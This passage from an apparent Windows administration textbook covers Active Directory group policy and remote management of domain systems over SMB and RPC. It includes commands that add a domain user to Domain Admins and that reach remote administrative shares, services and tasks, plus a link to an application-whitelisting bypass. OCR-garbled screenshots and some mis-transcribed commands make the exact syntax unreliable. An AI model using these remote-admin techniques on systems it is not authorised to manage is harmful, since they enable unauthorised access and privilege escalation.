e OU-linked policies

In the case of overlapping policies, whichever is written last is the one that is applied.
When multiple policies are assigned at the same level, they are executed as they appear in
the graphical interface in reverse order, from the last to the first. In general, it is best to work
on group policies at the site, domain, or OU level. Local group policies would need to be
manually replicated on individual machines and do not take advantage of the ability to use
Active Directory to manage many systems at once.
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The core tool for group policy is the Group Policy Management tool (Figure 6-21). It is
available from Server Manager; in Windows Server 2008 R2 it is listed as a feature, while in
Windows Server 2012 or later it is available in the tools list. Group Policy Management can
also be launched from the Start menu, under administrative tools.

To view a group policy, from the Group Policy Management tool, expand the navigation
pane through Group Policy Management » Forest: [Your Forest name] » Domains » [Your
Domain Name] » Group Policy Objects. There are two pre-built policies, named “Default Domain
Controllers Policy” and “Default Domain Policy.” Select the Default Domain Policy, and view
the Setting Tab. By default, the user is prompted with a warning stating that content within this
application is being blocked by the Internet Explorer Enhanced Security Configuration.?

This policy sets, for example, the password requirements and lockout thresholds that are
applied to the domain.

The name of the policy, by itself, is not sufficient to ensure that it is applied. The Group Policy
Management tool shows a link from the default domain (corp.saturn.test in Figure 6-21) to the
Default Domain Policy directly beneath the domain name in the navigation pane; it is this link that
actually applies the policy. Click on the domain name in Group Policy Management, then view the tab
Linked Group Policy Objects to see that the Default Domain Policy is being applied, with link order 1.

& File Action View Window Help ]
e zm & Hm
s Group Policy Management
2 /3 Forest: corp.saturn.test
4 (34 Domains

Default Domain Policy
Scope | Detais | Settings | Delegation | Status

4 Fq corpsatum.test
31 Default Domain Policy
4 [3) Domain Controllers
+1 Default Domain Controllers Policy
& (3] Main Site
4 2] Main Site- Computers
&1 Linux Servers
2] Linux Werkstations
(2] Windows Servers
2] Windows Workstations
4 (1 Main Site- Users
&1 Disabled Accounts
=1 IT Staff

Default Domain Policy
Diata colected on: 9/5/2014 1:16:47 PM
Computer Configuration (Enabled)

] Production P P——
& Sales . P 4l . Disaoh
2] Security Groups
4 [ Group Policy Objects Account Policies/Account Lockout Policy
(1 Default Domain Contrallers Policy Policy Setting
1] Default Domain Policy Account lockout threshold Oinvalid logon attempts
% WMIFilters I
3 Starter GPOs. i
i} Sites Policy Setting
¥ Group Policy Modeling Erforce waw wc_ﬁms a-ueued
2 Group Policy Results Manimum Hetime for service ticket 600 minutes
) Maimim Hetime for user ticket 10 hewrs
Madmum Hetime for user ticket renewal 7 days
Maximum tolerance for computer clock: Sminutes
synchionization A

Figure 6-21. The Group Policy Management Tool on Windows Server 2012 R2, viewing
the settings for the default domain policy

’If that is not a metaphor, I don’t know what is.
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Group policy objects (GPOs) are pulled by clients from the server. This happens on a regular
basis, but it is not immediate. Group policy settings can be updated manually on a single system
by running the command gpupdate from a command prompt on that system. Systems also
update their GPO settings on user login, so if a domain user logs out and then logs back on, then
any new policy settings will be applied.

Group Policy Example: Directory Creation

Group policy can be used to configure the system and accounts in a wide range of ways. For
example, it is possible to use group policy to automatically create a directory on the desktop for
each user who logs in, say the directory 2USERPROFILE%\Desktop\Tools.

To create a new group policy object, right-click on Group Policy Objects in the navigation
pane, then select New. Give the new GPO a descriptive name: say “Desktop Tools Directory.”
Because policies can be quite complex, an organization may create template policies, called
starter GPOs, which can be used as the basis of a new policy; this is not necessary in this example.

To add policies to the newly created group policy object, right-click the name of the group
policy in the navigation pane and select Edit. This brings up the Group Policy Management Editor
(Figure 6-23); this is the tool that is used to set the policies that are to be enforced. From the
navigation pane, expand User Configuration » Preferences » Windows Settings » Folders. Right-
click to create a new folder rule. Specify the action as “Create” and provide the location of the
folder (Figure 6-22). Update the attributes and set the parameters in the Common tab as desired.

New Folder Properties ||

: General 1Coi'rman
ﬁé Action: |Create vi

Path: | %USERPROFILE%\Desktop\Tools | (=5

Attributes
[[JRead-only
[Jtiidden
[] Archive

Delete this folder (if emptied)

Recursively delete all subfolders (if emptied)
Delete all files in the folder(s)

Allow deletion of read-only files/folders

Ignore errors for files/folders that cannot be deleted

Lok [ cocd [[ oty [[ e ||

Figure 6-22. The New Folders Dialog Box from the Group Policy Management Editor, on
Windows Server 2012 R2
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This completes the specification of the rule. The Group Policy Management Editor does not
contain an option to save the rule; it is automatic. Once the rule’s options are set, quit the editor.
Although the rule has been created, it has not been applied to any members of the domain.

Earlier in the chapter, organizational units were created with computers in one OU, subdivided by
system type; and users in a second OU, subdivided by role. To apply this policy to the members in an
OU, right-click on an OU, say Main Site- Users, then select Link an Existing GPO. Choose the newly
created GPO from the list. At this point, the GPO is applied to the users in that OU.

Group Policy Example: Software Restriction Policies

Group policy can be used to enforce security settings. For example, it is possible to limit users so
that they can only execute programs from defined directories. Create a new GPO with the name
Allowable Code Execution and edit it. From the navigation pane in the Group Policy Management
Editor (Figure 6-23), navigate Computer Configuration » Policies » Windows Settings » Security
Settings » Software Restriction Policies, then right-click and select New Software Restriction Policies.

Select Security Levels; three are available - Unrestricted, Basic User, and Disallowed.
These are the allowable default policies, and the default security level is set to be Unrestricted.
Double-click on Disallowed and choose Set as Default. In this setting, without an explicit allow
rule allowing program execution, no program can run. When the setting is changed, the user is
warned that the new setting is more restrictive than it was previously and could result in programs
failing to run.

Select Additional Rules. By default, it contains two directories, determined by paths
in the registry. The first path is #HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\SystemRoot%, and a check with regedit for example, shows that this
is C:\Windows. The second path #HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\ProgramFilesDir%is C:\Program Files. For these directories, an exception
has been made and the security level has been set to unrestricted. This allows any program
contained in these directories (or subdirectories) to run. One problem is that these default rules
do not allow files in the directory C: \Program Files (x86) to run. From the navigation pane for
the Group Policy Management Editor, right-click on Additional Rules, and select New Path Rule.
For the path, choose %HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
ProgramFilesDir (x86)% which correspondsto C:\Program Files (x86) and set the policy to
unrestricted.
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a Group Policy Management Editor (= [o ]

File Action View Help

e a1m 2 B
[ Allowable Code Execution [CASSINI.CORP.SATURN. ~ || Object Type

4 A Computer Configuration | Security Levels
4 [ Policies | Additional Rules
p ] Software Settings %\ Enforcement

4 ] Windows Settings
B 1 Name Resolution Policy
&1 Scripts (Startup/Shutdown)
4 [ Security Settings

b :ﬂ Account Policies
b 3] Local Policies
b ] Eventlog
b [ Restricted Groups
b [ 4 System Services
b [ a Registry
p [ File System
[ Ek’ Wired Network (IEEE 802.3) Policie
b [ Windows Firewall with Advanced |

[ ] Network List Manager Policies
b .5! Wireless Network (IEEE 802.11) Pol

| Public Key Policies
4 || Software Restriction Policies

] Security Levels
| Additional Rules

b ] Network Access Protection

4| Designated File Types
9| Trusted Publishers

]

< [ | >

Figure 6-23. Group Policy Management Editor for the Allowable Code Execution Policy
using software Restriction Policies, on Windows Server 2012 R2

To allow a user to run programs of their own choosing, add the directory SJUSERPROFILE%\
Desktop\Tools and set permissions on it to be unrestricted; this is the directory the previous
group policy automatically creates.

Return to Software Restriction Policies in the Group Policy Management Editor; select
Enforcement. The resulting dialog allows the user to select how the restriction policies
should be implemented. Apply the policies to all software files and to all users.

The collection of designated file types is used to determine what the policy considers to be an
executable file. By default, shortcuts are considered executable files, meaning that they no longer
function unless located in a permitted directory. As this is probably too restrictive, select the LNK
file type, and remove it from the list; this allows links to function as expected.

This completes the construction of the policy. To apply it, link it to an appropriate OU, for
example, the OU containing all Windows workstations. Unlike most group policies, software restriction
policies are not applied when a user logs in; one way to apply them is to restart the computer. As an
example, the remote computer named hyperion can be restarted with the following command.

C:\Users\Administrator>shutdown /r /m \\hyperion

271



CHAPTER 6  ACTIVE DIRECTORY

Here the /1 switch indicates the system is to reboot, while /m specifies the name of the
remote system. The firewall on the remote system must allow remote management. The user
on the system is told that the system will reboot in less than one minute. That amount of time
can be extended up to 600 seconds with the flag /t; consider the command

C:\Users\Administrator>shutdown /r /t 600 /m \\iapetus

This informs the users on iapetus that the system will shut down in 600 seconds or in
10 minutes.

When the system reboots, standard programs like Internet Explorer, Paint, or Calculator all
work as expected. However, if a user tries to run a program from elsewhere, it is blocked with a
message that varies slightly depending on the version of Windows. If the program is copied into
the directory Desktop\Tools, however, it can run.

Group Policy Example: Windows Defender

Another useful security-related group policy controls Windows Defender, the antivirus tool
from Microsoft. If the policy Computer Configuration » Policies » Administrative Templates »
Windows Components » Windows Defender » Turn Off Windows Defender is set to enabled,
then Windows Defender will be disabled. Setting it to disabled or leaving it unconfigured means
that Windows Defender will run.

Adding a Second Domain Controller

Because of the importance of the domain controller to an organization, a domain should never
have just one domain controller. To add a second domain controller, start with another Windows
server; set the hostname and IP address for the system and join it to the domain.

Run the Add Roles Wizard; choose Active Directory Domain Services Installation. It is not
necessary to install DNS services. Once the role is installed, run the Active Directory Domain
Services Installation Wizard (dcpromo.exe) in the same fashion as the first domain controller. For
the deployment configuration, choose to add the domain controller to the existing domain. The
user is prompted for domain credentials. A directory services restore mode password is required;
this can be distinct from the DSRM password on other domain controllers. Once the wizard
completes, the server functions as an additional domain controller (Figure 6-24).
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fe Active Directory Domain Services Configuration Wizard — a X
. . TARGET SERVER
Deployment Configuration froskeons philodest

Deployment Configuration

Select the deployment operation
Domain Coniroller Options | _ . o :
® Add a domain controller to an existing domain

O Add a new domain to an gxisting forest
Paths () Add a new forest

Additional Options

Review Options . . - . .
Specify the domain information for this operation
Prerequisites Check -
Domain: |pluto.test | Select...

Supply the credentials to perform this operation
PLUTC\jbach

More about deployment configurations

Figure 6-24. Adding a second Windows Server 2016 as a domain controller

Replication ensures that changes made on one domain controller are replicated to all others;
this can be verified by inspection on the new domain controller.

Notes and References

Ilike two general references for Windows Server operating systems:
e Windows Server 2012 Inside Out, William Stanek. Microsoft Press, January 2013.

e Mastering Windows Server 2012 R2, Mark Minasi, Kevin Greene, Christian
Booth, Robert Butler, John McCabe, Robert Panek, Michael Rice, and Stefan
Roth. Sybex, December 2013.

Not only do these books cover Windows Server 2012, they contrast the behavior of Windows
Server 2012 with Windows Server 2008.

273



CHAPTER 6  ACTIVE DIRECTORY

Installing Active Directory

NetBIOS names actually have 16 characters, but on Windows systems the last character is
reserved for the resource type (http://technet.microsoft.com/en-us/library/cc779578.
aspx). The NetBIOS specification allows for case-sensitive names (http://msdn.microsoft.com/
en-us/library/dd891456.aspx), but in practice NetBIOS names are capitalized. The NetBIOS
name should be a truncated version of the host name; if not, applications may break (https://
docs.microsoft.com/en-us/windows/desktop/SysInfo/computer-names ). See also Microsoft
KB 909264 (https://support.microsoft.com/en-us/help/909264/naming-conventions-in-
active-directory-for-computers-domains-sites-and) for naming conventions.

During testing, you may be tempted to use the same top-level name for the root domain name
of different domains. For example you may want to name the first domain ad.neptune.test and the
second domain ad.saturn.test. This may lead to trouble, as both systems want the same NetBIOS
name- AD. If both systems are together on the same network, a NetBIOS name collision results. The
solution is to also use different top-level names - say ad.neptune.test and corp.saturn.test.

The inability Windows Server 2012 and later to use the top-level domain .example appears to
conflict with RFC 6761 (http://tools.ietf.org/html/rfc6761); section 6.5 explicitly states that
“Authoritative DNS servers SHOULD NOT recognize example names as special”

Details of the file structure for Active Directory domain controllers can be found in Chapter 24
of Windows 2012 Server Inside and Out.

DNS

For more detail on the different kinds of Active Directory records in DNS, check out Chapter 22 of
Windows Server 2012 Inside Out or Chapter 6 of Mastering Windows Server 2012 R2.

The discussion of DNS, both here and in Chapter 4 is superficial. A deeper understanding
requires knowing much more about delegation and recursion. The security problems of DNS are well
known, and many are solved with DNSSEC, which is not even mentioned. Sorry - there isn’t room.

A nice place to learn more about batch scripting is available at Wikibooks, at http://
en.wikibooks.org/wiki/Windows_Batch_Scripting. Microsoft TechNet has a summary of the
various Windows command-line tools (including dnscmd) at https://technet.microsoft.com/
en-us/library/cc754340.aspx.

Managing a Domain

When building a domain on a test network, you may create only the administrator account

on the domain controller, and the Windows system may only have the local administrator
account. When the Windows system is joined to the domain, attempts to log in as the domain
administrator may be interpreted as an attempt to log in as the local administrator. To specify the

274


http://technet.microsoft.com/en-us/library/cc779578.aspx)
http://technet.microsoft.com/en-us/library/cc779578.aspx)
http://msdn.microsoft.com/en-us/library/dd891456.aspx
http://msdn.microsoft.com/en-us/library/dd891456.aspx
https://docs.microsoft.com/en-us/windows/desktop/SysInfo/computer-names
https://docs.microsoft.com/en-us/windows/desktop/SysInfo/computer-names
https://support.microsoft.com/en-us/help/909264/naming-conventions-in-active-directory-for-computers-domains-sites-and
https://support.microsoft.com/en-us/help/909264/naming-conventions-in-active-directory-for-computers-domains-sites-and
http://tools.ietf.org/html/rfc6761
http://en.wikibooks.org/wiki/Windows_Batch_Scripting
http://en.wikibooks.org/wiki/Windows_Batch_Scripting
https://technet.microsoft.com/en-us/library/cc754340.aspx
https://technet.microsoft.com/en-us/library/cc754340.aspx

CHAPTER 6  ACTIVE DIRECTORY

domain account, be sure to use the account name domainname\administrator. To specify the
local account, be sure to use the account name <name of local system>\administrator.

PowerShell

PowerShell is worth a book in its own right; a good starting place is at the Microsoft Scripting
Center at http://technet.microsoft.com/en-us/scriptcenter/powershell.aspx. More
information about PowerShell execution policies can be found at http://technet.microsoft.
com/en-us/library/hh847748.aspx.

A good place to learn more about cmdlets in PowerShell is on the Microsoft Developer
Network at http://msdn.microsoft.com/en-us/library/ms714395.aspx. Specifics about the
New-ADUser cmdlet can be found at http://technet.microsoft.com/en-us/library/ee617253.
aspxor http://technet.microsoft.com/en-us/library/hh852238.aspx.

The PowerShell version can be found by running $PSVersionTable from a PowerShell
prompt.

e« PowerShell 2.0: Windows 7 SP1, Windows Server 2008 R2
¢ PowerShell 3.0: Windows 8, Windows Server 2012

e« PowerShell 4.0: Windows 8.1, Windows Server 2012 R2

¢ PowerShell 5.0: Windows 10-1507, Windows 10-1511

¢ PowerShell 5.1: Windows 10-1607, Windows 10-1709, Windows Server 2016

Organizing a Domain

Another option for managing which applications can run on a system is AppLocker.
Unfortunately, AppLocker is not available for most versions of Windows, including Home
Premium and Professional; see http://technet.microsoft.com/en-us/library/ee424382.
aspx. Device Guard, which can be used only with Windows 10 or Windows Server 2016,

can provide even more security for applications that can run on the system; see https://
technet.microsoft.com/en-us/itpro/windows/keep-secure/device-guard-deployment-
guide. Even these more restrictive policies can be bypassed though; see https://enigma0ox3.
net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe.

Windows servers run several services on a range of ports. Microsoft maintains a list of the
port requirements for Windows Server systems at http://technet.microsoft.com/en-us/
library/dd772723.aspx. See also https://msdn.microsoft.com/en-us/library/cc875824.
aspx. A domain controller can often be identified on an NMap scan by the ports it uses. For
example, Kerberos authentication uses TCP/88 and UDP/88, while TCP/389 is used for LDAP
queries.

275


http://technet.microsoft.com/en-us/scriptcenter/powershell.aspx
http://technet.microsoft.com/en-us/library/hh847748.aspx
http://technet.microsoft.com/en-us/library/hh847748.aspx
http://msdn.microsoft.com/en-us/library/ms714395.aspx
http://technet.microsoft.com/en-us/library/ee617253.aspx
http://technet.microsoft.com/en-us/library/ee617253.aspx
http://technet.microsoft.com/en-us/library/hh852238.aspx
http://technet.microsoft.com/en-us/library/ee424382.aspx
http://technet.microsoft.com/en-us/library/ee424382.aspx
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/device-guard-deployment-guide
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/device-guard-deployment-guide
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/device-guard-deployment-guide
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe
http://technet.microsoft.com/en-us/library/dd772723.aspx
http://technet.microsoft.com/en-us/library/dd772723.aspx
https://msdn.microsoft.com/en-us/library/cc875824.aspx
https://msdn.microsoft.com/en-us/library/cc875824.aspx

CHAPTER 7

Remote Windows
Management

Introduction

Windows allows users on one system to access and manage other systems through a range of
mechanisms. Many common tools and commands allow the user to specify the target as a remote
system. Some of these commands run over Server Message Block (SMB), other commands use
Remote Procedure Calls (RPC), while another option is Windows Remote Management (WinRM).
These require different services running on the target and different firewall settings for proper
communication.

Windows Management Instrumentation (WMI) provides an interface to many of the operating
system’s core components. Although WMI has been included in Microsoft Windows for many years,
only in the last few years have the security implications of WMI become commonly known. WMI can
be used to query the state of the system or to start/stop processes or services. WMI has the concept
of events, allowing an administrator to automatically run programs or scripts in response to activities
that take place on the system.

Windows servers can be built and run without a graphical user interface (GUI) and managed
remotely.

Managing Systems Remotely

Microsoft provides tools that can be used to manage Windows systems remotely; these tools

are particularly useful in a domain. One set of tools uses Server Message Block (SMB) and
provides access to the file system, including remote file access and manipulation, as well as
control over local users and the registry. The second set of tools uses Remote Procedure Calls
(RPC) to interact with the remote system. Administrators can use RPC to control services, logs,
and scheduled tasks on the remote system; they can also be used to obtain a shell on the remote
system. Windows Remote Management (WinRM) can also be used to obtain a shell on a remote
system; WinRM also provides a direct interface to Windows Management Instrumentation (WMTI).
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Server Message Block (SMB)

Server Message Block (SMB) can be accessed across the network in more than one way. The
simplest way is directly over TCP, in which case it uses TCP/445. SMB can also be accessed via
NetBIOS over TCP/IP. In this latter case, name services are provided on TCP/137 and UDP/137,
datagram services on UDP/138, and data on TCP/139.

SMB Firewall Rules

To use SMB, the host’s firewall must allow the connection. One approach is to allow access over
TCP/445. This can be done one host at a time, but on a domain, it is better handled through group
policy. To do so, create a new group policy object and edit it. Navigate Computer Configuration

» Policies » Windows Settings » Security Settings » Windows Firewall with Advanced Security
» Windows Firewall with Advanced Security' » Inbound Rules. Right-click to create a new

rule; this results in a dialog box like Figure 7-1. From the New Inbound Rule Wizard, choose the
“Port” option, and specify TCP/445. For the action, select “Allow the Connection,” configure the
profile, and provide a name for the Firewall rule. Apply the policy to one or more OUs containing
computers in the domain. The resulting firewall rule will be visible on the firewall settings on the
domain members.

Another option is to use one of the predefined rules. There is a predefined rule entitled
“File and Printer Sharing.” This rule opens more than just what is needed for SMB. In addition
to TCP/445, this rule opens UDP/137, UDP/138, and TCP/139. It also opens the dynamic ports
needed for RPC, it permits ICMP Echo Requests on IPv4 and IPv6, and it opens TCP/5355 for
Link-Local Multicast Name Resolution for the local subnet.

Yes, the label “Windows Firewall with Advanced Security” appears twice.
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@ New Inbound Rule Wizard

Rule Type
Select the type of firewall rule to create.

Steps:
» Rule Type What type of rule would you like to create?
@ Program
@ Action ® Program
@ Profile Rule that controls connections for a program.
@ Name O Port
Rule that controls connections for a TCP or UDP port.
O Predefined:
Active Directory Domain Services
Rule that controls connections for a Windows experence.
O Custom
Custom rule.

Figure 7-1. The New Inbound Rule Wizard for Windows Firewall with Advanced
Security, shown on Windows Server 2016

Remote File Access

Once the SMB firewall rules have been applied, a domain administrator on any system in the
domain can use SMB to the view the files on another domain system. This is possible because
Windows systems include an administrative file share for each drive on the system. For the C:
drive, the share has the name C$. For example, to see the files on the domain member drake, the

domain administrator can use dir.

C:\Users\jbach>dir \\drake\c$
Volume in drive \\drake\c$ has no label.
Volume Serial Number is 7AA4-CiBA

Directory of \\drake\c$
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07/16/2016 01:27 AM 24 autoexec.bat
07/16/2016 01:27 AM 10 config.sys
07/16/2016 01:29 AM <DIR> Perflogs
02/12/2017 09:13 AM <DIR> Program Files
03/05/2017 01:04 PM <DIR> SysinternalsSuite
03/24/2017 05:34 PM <DIR> Users
01/22/2017 08:49 PM <DIR> Windows

2 File(s) 34 bytes

5 Dir(s) 24,460,091,392 bytes free
The same approach works in PowerShell.
PS C:\Users\jbach> 1s \\drake\c$

Directory: \\drake\c$

Mode LastWriteTime Length Name

d----- 7/16/2016  1:29 AM PerflLogs

d-r--- 2/12/2017  8:13 AM Program Files
d----- 3/5/2017 12:04 PM SysinternalsSuite
d-r--- 3/24/2017  5:34 PM Users

d----- 1/22/2017  7:49 PM Windows

-a---- 7/16/2016  1:27 AM 24 autoexec.bat
-a---- 7/16/2016  1:27 AM 10 config.sys

A domain administrator can copy files from one system to another.

C:\Users\jbach>copy \\drake\c$\autoexec.bat c:\Users\jbach\Desktop
1 file(s) copied.

These locations can be accessed with File Explorer through the address bar.

Drive Mapping

The domain administrator can map a drive letter (say H:) to a remote administrative share with a
command like net use; then the files on the remote system can be accessed like a shared drive.

C:\Users\jbach>net use h: \\drake\c$
The command completed successfully.

C:\Users\jbach>h:

H:\>dir
Volume in drive H has no label.
Volume Serial Number is 7AA4-C1BA
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Directory of H:\

07/16/2016 01:27 AM 24 autoexec.bat
07/16/2016 01:27 AM 10 config.sys
07/16/2016 01:29 AM <DIR> PerflLogs
02/12/2017 09:13 AM <DIR> Program Files
03/05/2017 01:04 PM <DIR> SysinternalsSuite
03/24/2017 05:34 PM <DIR> Users
01/22/2017 08:49 PM <DIR> Windows

2 File(s) 34 bytes

5 Dir(s) 24,431,251,456 bytes free

This shared drive is visible throughout Windows; for example, it will appear in the list of
devices and drives in File Explorer. To see all the shared drives, the domain administrator can run
the net use command.

H:\>net use
New connections will be remembered.

Status Local Remote Network
E: \\vboxsrv\Downloads VirtualBox Shared Folders
(0] H: \\drake\c$ Microsoft Windows Network

The command completed successfully.

The drive mapping will be re-created if the domain administrator logs off then logs back on,
even if the system is rebooted. The drive mapping can be removed with net use.

C:\Users\jbach>net use h: /delete
h: was deleted successfully.

Managing Users and Groups

Provided SMB is accessible, a domain administrator can manage the local users and groups on
aremote domain member through the Microsoft Management Console (MMC). From the Run
menu or from a command prompt, start MMC with the command mmc. exe. Select File » Add/
Remove Snap-In. From the list, select Local Users and Groups, then Add. Instead of connecting to
the local computer, provide the name of the target computer. The result looks like Figure 7-2.
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Figure 7-2. Using MMC as a domain administrator to manage services and the local users
and groups on the remote domain member drake. Screenshot from Windows 10-1511.

The domain administrator can add a new domain user from the command line with the
command net user.

C:\Users\jbach>net user lkilmister * /add /domain

Type a password for the user:

Retype the password to confirm:

The request will be processed at a domain controller for domain pluto.test.

The command completed successfully.
That user can be made a domain administrator with the command net group.

C:\Users\jbach>net group "Domain Admins" lkilmister /add /domain
The request will be processed at a domain controller for domain pluto.test.

The command completed successfully.

Services

Provided SMB is accessible, a domain administrator can manage the services running on a
remote system using MMC (Figure 7-2). For the snap-in, select Services, then provide the name of
the remote system.
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Services can also be managed remotely via the command-line tool sc.
C:\Users\jbach>sc \\edgeworth queryex remoteregistry

SERVICE_NAME: remoteregistry

TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED

WIN32 EXIT CODE : 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)

CHECKPOINT : 0x0

WAIT HINT 1 0x0

PID 10

FLAGS

C:\Users\jbach>sc \\edgeworth start remoteregistry

SERVICE_NAME: remoteregistry

TYPE : 20 WIN32_SHARE_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT HINT : 0x7do
PID : 3044
FLAGS

Services can also be managed remotely in both fashions if SMB is not accessible, provided
RPC is accessible instead.

Registry

It is possible to use SMB to manage the registry on a remote system. To do so, the remote system
must be running the Remote Registry service. This can be enabled on an individual basis using
the Services snap-in to MMC or by using sc. It can also be enabled through group policy. In

the latter case, create and edit a group policy. Navigate Computer Configuration » Policies »
Windows Settings » Security Settings » System Services. Select Remote Registry, and define

the policy setting to Automatic. To view or modify the registry values on a remote system, launch
regedit.exe; from the File menu, select Connect Network Registry, and select the remote system
(Figure 7-3).
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B Registry Editor - [m} X
File Edit View Favorites Help

v I Computer Mame
5. | HKEY_CLASSES_ ROOT
5 - HKEY_CURRENT_USER
» HKEY_LOCAL_MACHINE
5 .| | HKEY_USERS
> - | HKEY_CURRENT_CONFIG
~ (Y Drake
LY HKEY_LOCAL_MACHINE
> .| | BCDOO00O0OO
» HARDWARE
» - SAM
.| SECURITY
> - SOFTWARE
> SYSTEM
v | HKEY_USERS
[DEFAULT
5-1-5-18
5-1-5-19
$-1-5-20
§-1-5-21-2712758988- 2074005575-3302443488- 1114
$-1-5-21-2712758988-2974005575-3302443482-1114_Classes

P Y

|Drake

Figure 7-3. Using the registry editor to connect to the remote system Drake. Screenshot
from Windows 10-1511.

Remote Procedure Calls (RPC)

Remote Procedure Calls (RPC) are a way a client can ask a remote target to execute a command.
When a client makes a remote procedure call of a target, first the client contacts the target’s
endpoint mapper; the target returns the services available and the ports that the services are
using. On Windows systems, the default port for the endpoint mapper is TCP/135.

When the client is informed of the port on which the desired service is running, the client
contacts that service on that port and makes the request. On older Windows systems like
Windows 2000, Windows XP, and Windows Server 2003, the RPC services use ports between
TCP/1025 and TCP/5000. On modern Windows systems, including all the ones described in this
text, the RPC services use ports between TCP/49152 and TCP/65535. It is not the case that the
same service always uses the same port.

RPC Firewall Rules

The use of a dynamic port range makes it more challenging to configure a traditional firewall
to control access to RPC services. However, Windows Firewall with Advanced Security can be
configured to control access to RPC services, and it can control the service(s) that may be contacted.

284



CHAPTER 7  REMOTE WINDOWS MANAGEMENT

An administrator can create firewall rules that allow connections to any RPC service. To do
so on a domain, create a new group policy and edit it; then navigate Computer Configuration »
Policies » Windows Settings » Security Settings » Windows Firewall with Advanced Security »
Windows Firewall with Advanced Security?» Inbound Rules.

Two inbound rules need to be added. For the first, from the New Inbound Rule Wizard, select
Custom, then select All Programs. On the Protocols and Ports step, for the Protocol Type choose
TCP, but for the Local Port select RPC Endpoint Mapper. Adjust the scope as desired, allow
the connection, and choose an appropriate domain. Give the rule a name, say “RPC Endpoint
Mapper (Custom, via Group Policy).”

For the second rule, from the New Inbound Rule Wizard, select Custom, then select All
Programs. On the Protocols and Ports step, for the Protocol Type choose TCP, but for the Local
Port select RPC Dynamic Ports. Adjust the scope as desired, allow the connection, and choose an
appropriate domain. Give the rule a name, say “RPC Dynamic Ports (Custom, via Group Policy).”

Scheduled Tasks

A domain administrator can use RPC to manage the scheduled tasks on a remote system; one way
to do so is via MMC through the Task Scheduler snap-in (Figure 7-4). Another option is to use the
command line; for example, to see the scheduled tasks on the remote system drake, a domain
administrator can run

C:\Users\jbach>schtasks /query /s drake

Folder: \
TaskName Next Run Time Status
OneDrive Standalone Update Task v2 4/30/2018 12:08:44 AM Ready

OneDrive Standalone Update Task-S-1-5-21 4/29/2018 10:54:38 AM Ready
OneDrive Standalone Update Task-S-1-5-21 4/29/2018 6:15:05 PM  Ready

... Output Deleted ...

%Yes, the label “Windows Firewall with Advanced Security” appears twice. Again.
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Figure 7-4. MMC with three remote connections to the system drake.pluto.test: one for
local users and groups, one for Windows Event Viewer, and one for task scheduler. Shown
on Windows 10-1607.

Event Logs

If a system allows RPC, it is possible to use MMC to view the Event Logs on a remote system.
Launch MMC, and from the File menu select Add/Remove Snap-In. Choose Event Viewer and
specify the remote computer (Figure 7-4).

Managing the Firewall Remotely

The Windows firewall itself can be managed remotely, provided the proper RPC rules are allowed.
To do so on a domain, create or edit a group policy object and navigate Computer Configuration
» Policies » Windows Settings » Security Settings » Windows Firewall with Advanced Security
» Windows Firewall with Advanced Security» Inbound Rules. Create a new rule and select the
predefined option Windows Firewall Remote Management.

The firewall on the system can then be managed using MMC by selecting Add/Remove Snap-
In and selecting Windows Firewall with Advanced Security.
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Sysinternals Tools

Many of the SysInternals tools (cf. Chapter 3) can be run against remote systems. Some tools use
SMB, others use RPC, and others can use either. Many require the remote registry service to be
running on the target.

For example, the tool psservice lists the running services with detailed information provided
for each service.

c:\Program Files\SysinternalsSuite>psservice \\drake query remoteregistry

PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

SERVICE_NAME: RemoteRegistry
DISPLAY_NAME: Remote Registry
Enables remote users to modify registry settings on this computer. If this service
is stopped, the registry can be modified only by users on this computer. If this
service is disabled, any services that explicitly depend on it will fail to start.

TYPE : 20 WIN32_SHARE_PROCESS

STATE : 4 RUNNING

(STOPPABLE,NOT_PAUSABLE, IGNORES_SHUTDOWN)

WIN32 EXIT CODE : 0 (0x0)

SERVICE_EXIT CODE : 0 (0x0)

CHECKPOINT 1 0x0

WAIT _HINT : 0ms

The tool psloglist can be used to parse the event logs on a system. For example, to see the
lastlog entry in the security log on drake, an administrator can run

c:\Program Files\SysinternalsSuite>psloglist \\drake -n 1 Security

PsLoglist v2.71 - local and remote event log viewer
Copyright (C) 2000-2009 Mark Russinovich
Sysinternals - www.sysinternals.com

Security log on \\drake:
[3875] Microsoft-Windows-Security-Auditing

Type: SUCCESS AUDIT
Computer: drake.pluto.test
Time: 3/25/2017 1:23:52 PM  1ID: 4634
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An account was logged off.

Subject:
Security ID: $-1-5-21-2712758988-2974005575-3302443488-1103
Account Name: jbach
Account Domain: PLUTO
Logon ID: 0x28dad1
Logon Type: 3

This event is generated when a logon session is destroyed. It may be positively
correlated with a logon event using the Logon ID value. Logon IDs are only unique
between reboots on the same computer.

To see the users logged on to a remote system, the administrator can run
c:\Program Files\SysinternalsSuite>psloggedon \\drake

PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Users logged on locally:
<unknown time> PLUTO\jbach
3/25/2017 10:46:46 AM PLUTO\advorak

Users logged on via resource shares:
3/25/2017 1:44:38 PM PLUTO\jbach

The processes running on the remote system can also be viewed with pslist provided remote
registry access is permitted. If pslist is run with the /1t flag, the processes are shown in their tree
structure, making the parent processes much more obvious.

c:\Program Files\SysinternalsSuite>pslist \\drake /t

PsList v1.4 - Process information lister
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Process information for drake:

Name Pid Pri Thd Hnd VM WS Priv
Idle 0 0 1 0 0 8 0
System 4 8 103 874 1568 44 40
smss 276 11 2 51 38264 808 224
Memory Compression 1840 8 12 0 38656 16980 84
